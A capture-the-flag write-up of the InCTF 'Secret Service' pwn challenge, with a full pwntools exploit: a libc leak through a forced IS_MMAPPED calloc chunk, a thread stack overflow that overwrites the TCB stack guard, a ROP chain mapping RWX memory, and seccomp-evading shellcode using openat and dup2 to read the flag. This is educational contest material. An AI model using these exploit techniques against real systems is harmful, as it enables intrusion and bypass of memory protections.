Secret Service 1000

Description

There’s a secret service hidden within the depths of the binary. Get into the service , use/pwn it as per your needs and dont forget to leave a feedback :P.

Note - The flag is eagerly wating to be read from the flag file , flag.

Connect To - nc 35.245.143.0 7777

Author - Cyb0rG

Attachment: handout.zip xpl.py

Pwn Thyself!
Name: abc
Age: 100
Hold on while I redirect u to the secret service!
Nah you're a kiddo!
Tata Bye Bye!

To be able to start with pwning the binary at all, we’ll have to “guess” a randomized age first.

unsigned long randomize_age(long *mapped)
{
  unsigned int val1;
  unsigned int val2;
  unsigned int seed;
  time_t timer; 
  
  seed = time(&timer);
  
  do
  {
    srand(seed / 0x3C);

    val1 = rand() % 0xF000u + 4096;

    seed += rand() % 300 + 1;
    srand(seed / 0x1E);

    val2 = rand() % 0xF000u + 4096;

    *mapped = v2;
    *mapped &= v1;
  }
  while ( *mapped <= 4095LL );

  ...
}

Okay, some monkey work to do, but we can easily simulate this randomization to guess the age in our script.

#!/usr/bin/python
from pwn import *
import sys
import ctypes

ctypes.cdll.LoadLibrary("libc.so.6")
lc = ctypes.CDLL("libc.so.6")

LOCAL = True

HOST = "35.245.143.0"
PORT = 7777

AGE = 0

def calcage():
  v4 = lc.time(None)
	
  a1 = 0

  while a1 <= 4095:
    seed = v4 / 0x3c
    lc.srand(int(seed))

    v1 = lc.rand() % 0xf000 + 4096
    v4 += lc.rand() % 300 + 1

    lc.srand(int(v4 / 0x1e))

    v2 = lc.rand() % 0xf000 + 4096

    a1 = v2 & 0xffff
    a1 &= v1

  return a1

def exploit(r):
  name = "AAAA"

  r.recvline()
  r.sendlineafter(": ", name)
  r.sendlineafter(": ", str(AGE))
  r.recvuntil(">> ")

  r.interactive()
	
  return

if __name__ == "__main__":
  libc = ELF("./libc.so.6")

  AGE = calcage()

  if len(sys.argv) > 1:
    LOCAL = False
    r = remote(HOST, PORT)
    exploit(r)
  else:
    LOCAL = True
    r = process("./chall", env={"LD_PRELOAD":"./libc.so.6"})
    print (util.proc.pidof(r))
    pause()
    exploit(r)
$ python3 work.py 
[*] '/home/kileak/ctf/inctf/secret/handout/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x2004
[+] Starting local process './chall': pid 6892
[6892]
[*] Paused (press any to continue)
[*] Switching to interactive mode
Hold on while I redirect u to the secret service!

        Secret Service       
+-----------------------------+
| 1. Enroll Yourself          |
| 2. View Your Details        |
| 3. Remove Yourself          |
| 4. Move on                  |
| 5. Quit Service             |
+-----------------------------+
Your Choice >> $

So, now we have several options, which come down to malloc, show and free.

The allocation uses calloc, which will allocate a chunk and zero it out, so no previous data from it can be reused.

int enroll_yourself()
{
  char *chunk;
  int idx;
  unsigned int size;

  if (ENROLLMENT_COUNT > 2)
    return puts("No more enrollments allowed!");

  printf("Enter Enrollment Index : ");
  idx = read_number();

  if ( ENROLLMENT_SET[idx] || idx > 2 )
    return puts("Invalid or already enrolled!");

  printf("Enter size : ");
  size = read_number();

  if ( size <= 0x7E || size > 0xFFF9 )
  {
    puts("Size not allowed!");
    do_exit();
  }

  ENROLLMENT_SIZES[idx] = size;

  puts("Enter your details -> ");
  chunk = calloc(ENROLLMENT_SIZES[idx], 1);

  read_string(chunk, ENROLLMENT_SIZES[idx]);
  ENROLLMENTS[idx] = chunk;
  ENROLLMENT_SET[idx] = 1;
  ++ENROLLMENT_COUNT;

  return puts("Ok! You are enrolled now");
}

Nothing special in remove and view, they can just be used to view the content of the chunk or free it, no uaf or something similar, we’ll be using them just for getting a libc leak.

But how can we leak something, if the chunks gets cleared immediately after allocation?

Not sure where, but sometime ago, I read about the possibility to make calloc not initializing the memory allocated. Taking a look at the implementation of calloc in malloc.c, we can find this:

#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)

...

void *__libc_calloc (size_t n, size_t elem_size) 
{
  ...
  /* Two optional cases in which clearing not necessary */
  if (chunk_is_mmapped (p))
  {
    if (__builtin_expect (perturb_byte, 0))
      return memset (mem, 0, sz);

    return mem;
  }
  ...
}

This means, if the IS_MMAPPED bit from the chunk size is set, calloc will not zero out the content of the chunk before returning it.

Let’s keep this in mind and check the rest of the available commands in the menu

if ( choice == 2020 )
      secret_service();

There’s a function not shown in the menu (available by entering 2020)

int secret_service()
{
  _BYTE *v1; 
  unsigned int idx; 

  if (USED > 1)
    return puts("No more hacking allowed!");

  printf("Enter index of Enrolled Candidate: ");
  idx = read_number();

  if (!ENROLLMENTS[idx] || idx > 2)
    return puts("Invalid Index!");

  v1 = (char *)ENROLLMENTS[idx] - 8;      // point to chunk size
  ++*v1;                                  // increase chunk size by 1
  return USED++ + 1;
}

This function will increase the chunk size by 1 and may be used twice (also it doesn’t check if the current chunk is already freed), and that’s exactly what we need to set the IS_MMAPPED bit in the chunk size for a freed chunk.

So let’s prepare the libc leak by creating a big enough chunk, free it, set the IS_MMAPPED bit by using the secret function and reallocate it.

def inc_chunksize(idx):
  r.sendline("2020")
  r.sendlineafter(": ", str(idx))
  r.recvuntil(">> ")

...

# create chunk and free it
enroll(0, 0x800, "A"*0x800)
rem(0)

# set IS_MMAPPED bit in free chunk size
inc_chunksize(0)
inc_chunksize(0)

# reallocate it (chunk will be uninitialized now)
enroll(0, 0xd20-8, "A")

# read libc address from allocated chunk
LEAK = u64(view(0)[:6].ljust(8, b"\x00")) - 0x41 + 0xe0

libc.address = LEAK - 0x70 - libc.symbols["__malloc_hook"]

log.info("LEAK          : %s" % hex(LEAK))
log.info("LIBC          : %s" % hex(libc.address))
[*] '/home/kileak/ctf/inctf/secret/handout/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './chall': pid 8193
[8193]
[*] Paused (press any to continue)
[*] LEAK          : 0x7f2879d08be0
[*] LIBC          : 0x7f2879b1d000
[*] Switching to interactive mode

Exhausting the use of the menu functions to get the libc leak, let’s take a look at the feedback function now.

if ( choice < 5 )
{
  puts("Do u want to leave a feedback for the service?(y/n)");
  __isoc99_scanf("%c", s1);

  if ( !strcmp(s1, "y") )
  {
    pthread_create(&newthread, 0LL, start_routine, 0LL);
    pthread_join(newthread, 0LL);
  }
  else
  {
    puts("Thank you!");
  }
  exit(0);
}
unsigned long leave_feedback()
{
  char buffer; 
  unsigned long canary; 

  canary = __readfsqword(0x28u);

  puts("A new thread has been created for feedback");

  printf("Enter size of feedback: ");
  __isoc99_scanf("%d", &FEEDBACK_SIZE);

  printf("Enter feedback: ");
  
  if ( FEEDBACK_SIZE > 112 )
  {
    puts("Size too large");
    do_exit();
  }
  
  dup_output_to_null();
  dup_error_to_null();

  read_feedback(&buffer, FEEDBACK_SIZE);
  
  puts("Thank you!");
  return __readfsqword(0x28u) ^ canary;
}

No lower boundary check for FEEDBACK_SIZE here, so we can specify a negative feedback size, resulting in read_feedback reading near unlimited input, easily overflowing the buffer.

But, we’ll have to get around the canary check, which otherwise will stop us from doing something useful with this overflow.

Well, the feedback function was called via a thread created by pthread_create, thus creating its own stack for this function in a mmapped region and puts a tcbhead_t struct on it to for accessing thread specific information (and it will also contain the stack canary used for the canary check).

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int vgetcpu_cache[2];
# ifndef __ASSUME_PRIVATE_FUTEX
  int private_futex;
# else
  int __glibc_reserved1; 
# endif
  int __glibc_unused1; 
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  long int __glibc_reserved2;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;

Since we have an (almost) unlimited overwrite in the feedback function, we can for one overwrite the local canary and also the stored canary in the tcbhead_t struct.

$rax   : 0x7ffff7d3ae50    
$rbx   : 0x7ffff7d3ae50    
$rcx   : 0x7ffff7ee881b    
$rdx   : 0x1               
$rsp   : 0x7ffff7d3ae20    
$rbp   : 0x7ffff7d3ae30    
$rsi   : 0x7ffff7d3ae50    
$rdi   : 0x0               
$rip   : 0x00005555555554c9
$r8    : 0x0               
$r9    : 0x10              
$r10   : 0x0               
$r11   : 0x0               
$r12   : 0x7fffffffec6e    
$r13   : 0x7fffffffec6f    
$r14   : 0x7fffffffec70    
$r15   : 0x7ffff7d3afc0    
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555554bc                  mov    edx, 0x1
   0x5555555554c1                  mov    rsi, rax
   0x5555555554c4                  mov    edi, 0x0
 → 0x5555555554c9                  call   0x555555555110 <read@plt>
   ↳  0x555555555110 <read@plt+0>     jmp    QWORD PTR [rip+0x3e2a]        # 0x555555558f40 <read@got.plt>
      0x555555555116 <read@plt+6>     push   0xe
      0x55555555511b <read@plt+11>    jmp    0x555555555020
      0x555555555120 <srand@plt+0>    jmp    QWORD PTR [rip+0x3e22]        # 0x555555558f48 <srand@got.plt>
      0x555555555126 <srand@plt+6>    push   0xf
      0x55555555512b <srand@plt+11>   jmp    0x555555555020
──────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address

gef➤  x/30gx 0x7ffff7d3ae50
0x7ffff7d3ae50:	0x0000000000000000	0x0000000000000000
0x7ffff7d3ae60:	0x0000000000000000	0x0000000000000000
0x7ffff7d3ae70:	0x0000000000000000	0x0000000000000000
0x7ffff7d3ae80:	0x0000000000000000	0x0000000000000000
0x7ffff7d3ae90:	0x0000000000000000	0x0000000000000000
0x7ffff7d3aea0:	0x0000000000000000	0x0000000000000000
0x7ffff7d3aeb0:	0x0000000000000000	0x9ba031482374c300    <= local canary
0x7ffff7d3aec0:	0x0000000000000000	0x0000000000000000
0x7ffff7d3aed0:	0x00007ffff7d3aef0	0x000055555555565f
0x7ffff7d3aee0:	0x00007ffff7d3b700	0x0000000000000000
0x7ffff7d3aef0:	0x0000000000000000	0x00007ffff7d48609
0x7ffff7d3af00:	0x0000000000000000	0x00007ffff7d3b700
0x7ffff7d3af10:	0x00007ffff7d3b700	0xd4b580512c39fc65
0x7ffff7d3af20:	0x00007fffffffec6e	0x00007fffffffec6f
0x7ffff7d3af30:	0x00007fffffffec70	0x00007ffff7d3afc0
0x7ffff7d3af40:	0x2b4a6ff67239fc65	0x2b4a6ff8275bfc65
0x7ffff7d3af50:	0x0000000000000000	0x0000000000000000
0x7ffff7d3af60:	0x0000000000000000	0x0000000000000000
0x7ffff7d3af70:	0x0000000000000000	0x0000000000000000
0x7ffff7d3af80:	0x0000000000000000	0x0000000000000000
0x7ffff7d3af90:	0x0000000000000000	0x9ba031482374c300
...
...
0x7ffff7d3b670:	0x00007ffff7fc34a0	0x00007ffff7d3bdb8
0x7ffff7d3b680:	0x0000000000000000	0x00007ffff7f754c0
0x7ffff7d3b690:	0x00007ffff7f75ac0	0x00007ffff7f763c0
0x7ffff7d3b6a0:	0x0000000000000000	0x0000000000000000
0x7ffff7d3b6b0:	0x0000000000000000	0x0000000000000000
0x7ffff7d3b6c0:	0x0000000000000000	0x0000000000000000
0x7ffff7d3b6d0:	0x0000000000000000	0x0000000000000000
0x7ffff7d3b6e0:	0x0000000000000000	0x0000000000000000
0x7ffff7d3b6f0:	0x0000000000000000	0x0000000000000000
0x7ffff7d3b700:	0x00007ffff7d3b700	0x000055555555e490
0x7ffff7d3b710:	0x00007ffff7d3b700	0x0000000000000001
0x7ffff7d3b720:	0x0000000000000000	0x9ba031482374c300   <== stack guard
0x7ffff7d3b730:	0xfe32ea5ac028961c	0x0000000000000000
0x7ffff7d3b740:	0x0000000000000000	0x0000000000000000

Just started my payload with a lot of As (overwriting the local canary) and then padded enough As to the end of the payload to make sure, that we’ll also be overwriting the stored stack guard.

payload = b"A"*(136-8)			# overwriting canary
payload += p64(0xcafebabe)
payload += p64(0xdeadbeef)	
payload += b"A"*(4000-len(payload))	# overwriting TCB
0x000055555555562f in ?? ()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x4141414141414141 ("AAAAAAAA"?)
$rbx   : 0x7ffff7d3ae50    
$rcx   : 0x7ffff7ee808f    
$rdx   : 0x41414141        
$rsp   : 0x7ffff7d3ae40    
$rbp   : 0x7ffff7d3aed0    
$rsi   : 0x7ffff7fc3723    
$rdi   : 0x7ffff7fc54c0    
$rip   : 0x000055555555562f
$r8    : 0xb               
$r9    : 0x10              
$r10   : 0x0               
$r11   : 0x41414141        
$r12   : 0x7fffffffec6e    
$r13   : 0x7fffffffec6f    
$r14   : 0x7fffffffec70    
$r15   : 0x7ffff7d3afc0    
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555555625                  call   0x555555555070 <puts@plt>
   0x55555555562a                  nop    
   0x55555555562b                  mov    rax, QWORD PTR [rbp-0x18]
 → 0x55555555562f                  xor    rax, QWORD PTR fs:0x28
   0x555555555638                  je     0x55555555563f
   0x55555555563a                  call   0x555555555090 <__stack_chk_fail@plt>
   0x55555555563f                  add    rsp, 0x88
   0x555555555646                  pop    rbx
   0x555555555647                  pop    rbp

gef➤ ni

Thread 2 "chall" received signal SIGALRM, Alarm clock.
0x0000555555555638 in ?? ()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x7ffff7d3ae50    
$rcx   : 0x7ffff7ee808f    
$rdx   : 0x41414141        
$rsp   : 0x7ffff7d3ae40    
$rbp   : 0x7ffff7d3aed0    
$rsi   : 0x7ffff7fc3723    
$rdi   : 0x7ffff7fc54c0    
$rip   : 0x0000555555555638
$r8    : 0xb               
$r9    : 0x10              
$r10   : 0x0               
$r11   : 0x41414141        
$r12   : 0x7fffffffec6e    
$r13   : 0x7fffffffec6f    
$r14   : 0x7fffffffec70    
$r15   : 0x7ffff7d3afc0    
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555555628                  (bad)  
   0x555555555629                  call   QWORD PTR [rax-0x17ba74b8]
   0x55555555562f                  xor    rax, QWORD PTR fs:0x28
 → 0x555555555638                  je     0x55555555563f	TAKEN [Reason: Z]
   ↳  0x55555555563f                  add    rsp, 0x88
      0x555555555646                  pop    rbx
      0x555555555647                  pop    rbp
      0x555555555648                  ret    
      0x555555555649                  push   rbp
      0x55555555564a                  mov    rbp, rsp

...

─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x4141414141414141 ("AAAAAAAA"?)
$rcx   : 0x7ffff7ee808f    
$rdx   : 0x41414141        
$rsp   : 0x7ffff7d3aee0    
$rbp   : 0xcafebabe        
$rsi   : 0x7ffff7fc3723    
$rdi   : 0x7ffff7fc54c0    
$rip   : 0xdeadbeef        
$r8    : 0xb               
$r9    : 0x10              
$r10   : 0x0               
$r11   : 0x41414141        
$r12   : 0x7fffffffec6e    
$r13   : 0x7fffffffec6f    
$r14   : 0x7fffffffec70    
$r15   : 0x7ffff7d3afc0    
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address
[!] Cannot access memory at address 0xdeadbeef

So now that we have rip control, we need to get around some seccomp rules, which were initialized in the beginning of the challenge. Also, the feedback function dups stdout and stderr file descriptors to /dev/null, so we cannot just output something anymore.

Let’s check the seccomp rules first

0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x1f 0xc000003e  if (A != ARCH_X86_64) goto 0033
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x1c 0xffffffff  if (A != 0xffffffff) goto 0033
0005: 0x15 0x1a 0x00 0x00000003  if (A == close) goto 0032
0006: 0x15 0x19 0x00 0x00000005  if (A == fstat) goto 0032
0007: 0x15 0x18 0x00 0x00000009  if (A == mmap) goto 0032
0008: 0x15 0x17 0x00 0x0000000a  if (A == mprotect) goto 0032
0009: 0x15 0x16 0x00 0x0000000b  if (A == munmap) goto 0032
0010: 0x15 0x15 0x00 0x00000014  if (A == writev) goto 0032
0011: 0x15 0x14 0x00 0x00000020  if (A == dup) goto 0032
0012: 0x15 0x13 0x00 0x00000021  if (A == dup2) goto 0032
0013: 0x15 0x12 0x00 0x00000023  if (A == nanosleep) goto 0032
0014: 0x15 0x11 0x00 0x00000025  if (A == alarm) goto 0032
0015: 0x15 0x10 0x00 0x00000038  if (A == clone) goto 0032
0016: 0x15 0x0f 0x00 0x0000003c  if (A == exit) goto 0032
0017: 0x15 0x0e 0x00 0x00000048  if (A == fcntl) goto 0032
0018: 0x15 0x0d 0x00 0x000000e6  if (A == clock_nanosleep) goto 0032
0019: 0x15 0x0c 0x00 0x000000e7  if (A == exit_group) goto 0032
0020: 0x15 0x0b 0x00 0x00000101  if (A == openat) goto 0032
0021: 0x15 0x0a 0x00 0x00000111  if (A == set_robust_list) goto 0032
0022: 0x15 0x00 0x04 0x00000000  if (A != read) goto 0027
0023: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
0024: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0033
0025: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
0026: 0x15 0x05 0x06 0x00000000  if (A == 0x0) goto 0032 else goto 0033
0027: 0x15 0x00 0x05 0x00000001  if (A != write) goto 0033
0028: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # write(fd, buf, count)
0029: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0033
0030: 0x20 0x00 0x00 0x00000010  A = fd # write(fd, buf, count)
0031: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0033
0032: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0033: 0x06 0x00 0x00 0x00000000  return KILL

Ok, that’s something we can work with, we just cannot do a simple execve ropchain.

There are multiple ways to deal with this now, I just went with doing a mmap(0x40000, 0x1000, 7, 22, 0, 0) ropchain to allocate a rwx section, read shellcode there and execute it (could have been done in one ropchain, but it was more comfortable to write some asm than editing the ropchain over and over).

So first getting some useful gadgets from the provided libc

POPRDI = libc.address + 0x26b72
POPRSI = libc.address + 0x27529
POPRDXRBX = libc.address + 0x1626d6
POPRCX = libc.address + 0x9f822
SYSCALL = libc.address + 0x66229
POPRAX = libc.address + 0x4a550		
CLEARR8 = libc.address + 0x0000000000049dfd
CLEARR9 = libc.address + 0x00000000000c9ccf
MOVR10RDXJMPRAX = libc.address + 0x000000000007b0cb
RET = libc.address + 0x0000000000025679

Didn’t find a gadget to directly set $r10, so I used mov r10, rdx; jmp rax. For this we’ll have to prepare rax before executing this gadget to return to our ropchain agin.

payload = b"A"*(136-8)
payload += p64(0xcafebabe)
	
# mmap
payload += p64(POPRDI)
payload += p64(0x40000)
payload += p64(POPRSI)
payload += p64(0x1000)
payload += p64(POPRDXRBX)
payload += p64(0x22)
payload += p64(0x22)
payload += p64(POPRAX)	      # prepare for mov r10
payload += p64(RET)           # jmp rax will return to next gadget
payload += p64(MOVR10RDXJMPRAX)
payload += p64(POPRDXRBX)
payload += p64(7)
payload += p64(0x22)
payload += p64(CLEARR8)
payload += p64(CLEARR9)
payload += p64(POPRAX)
payload += p64(9)
payload += p64(POPRCX)
payload += p64(0x22)
payload += p64(SYSCALL)

# read
payload += p64(POPRAX)
payload += p64(0)
payload += p64(POPRDI)
payload += p64(0)
payload += p64(POPRSI)
payload += p64(0x40000)
payload += p64(POPRDXRBX)
payload += p64(0x400)
payload += p64(0)
payload += p64(SYSCALL)
payload += p64(0x40000)                 # jmp to shellcode
payload += b"A"*(4000-len(payload))	# pad to overwrite tcb canary

When this ropchain is executed, we’ll have a rwx section at 0x40000 and a read waiting to write into it. After the read, it will just jump into the mmapped region and execute our shellcode.

Checking the seccomp rules again, we cannot simply use an open syscall, but openat syscall is allowed, which can be used to open the flag file.

// openat
mov rax, 0x101      // openat
mov rdi, -1
mov rsi, 0x40200    // points to /home/ctf/flag
xor rdx, rdx
mov rcx, 0
syscall

This will open the flag file and assign the fd 5 to it. But trying to read from 5 will just result in a SIGSYS fault, since it’s not allowed to read from that file descriptor by the seccomp rules in place.

0022: 0x15 0x00 0x04 0x00000000  if (A != read) goto 0027
0023: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
0024: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0033
0025: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
0026: 0x15 0x05 0x06 0x00000000  if (A == 0x0) goto 0032 else goto 0033

This allows to execure a read syscall only, if the file descriptor is 0, otherwise seccomp will abort execution.

But we’re allowed to dup2, so we can easily fix this

// dup file to stdin
xor rax, rax
mov al, 0x21
mov rdi, 5
mov rsi, 0
syscall

// read file
xor rax, rax
mov rdi, 0
mov rsi, 0x40300
mov rdx, 100
syscall

This will dup the flag file descriptor to 0, which enables us again to read from it (and store the file content at 0x403000).

Still, stdout fd points to /dev/null, so we cannot write the file content back.

Let’s check the function used for that.

long dup_output_to_null()
{
  unsigned int res;
  int fd;

  fflush(stdout);

  res = dup(1);

  fd = open("/dev/null", 1);
  dup2(fd, 1);
  close(fd);

  return v0;
}

This was used earlier in the binary, when stdout also needed to be reenabled, so it dup2s the original stdout pointer first and this duplicated file descriptor now still exists. We just have to copy it back.

// reopen stdout
xor rax, rax
mov al, 0x21
mov rdi, 3
mov rsi, 1
syscall

// write output
xor rax, rax
mov al, 1
xor rdi, rdi
mov rdi, 1
xor rsi, rsi
mov rsi, 0x40300
mov rdx, 0x100
syscall

This will dup the original file descriptor back to fd 1, with which we can then write the flag file content back and finally getting our flag.

context.arch="amd64"

payload = asm(SC)
payload += b"\x90"*(0x200-len(payload))
payload += b"/home/ctf/flag\x00"

r.sendline(payload)

r.interactive()
$ python3 work.py 1
[*] '/home/kileak/ctf/inctf/secret/handout/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 35.245.143.0 on port 7777: Done
[*] LEAK          : 0x7f8a6c3e5be0
[*] LIBC          : 0x7f8a6c1fa000
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Switching to interactive mode
inctf{wh3r3_d1d_y0u_l4nd_up_f1nally_st4ck_H34p_st4ck_0r_H34p_1963290327101999}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Illegal instruction
[*] Got EOF while reading in interactive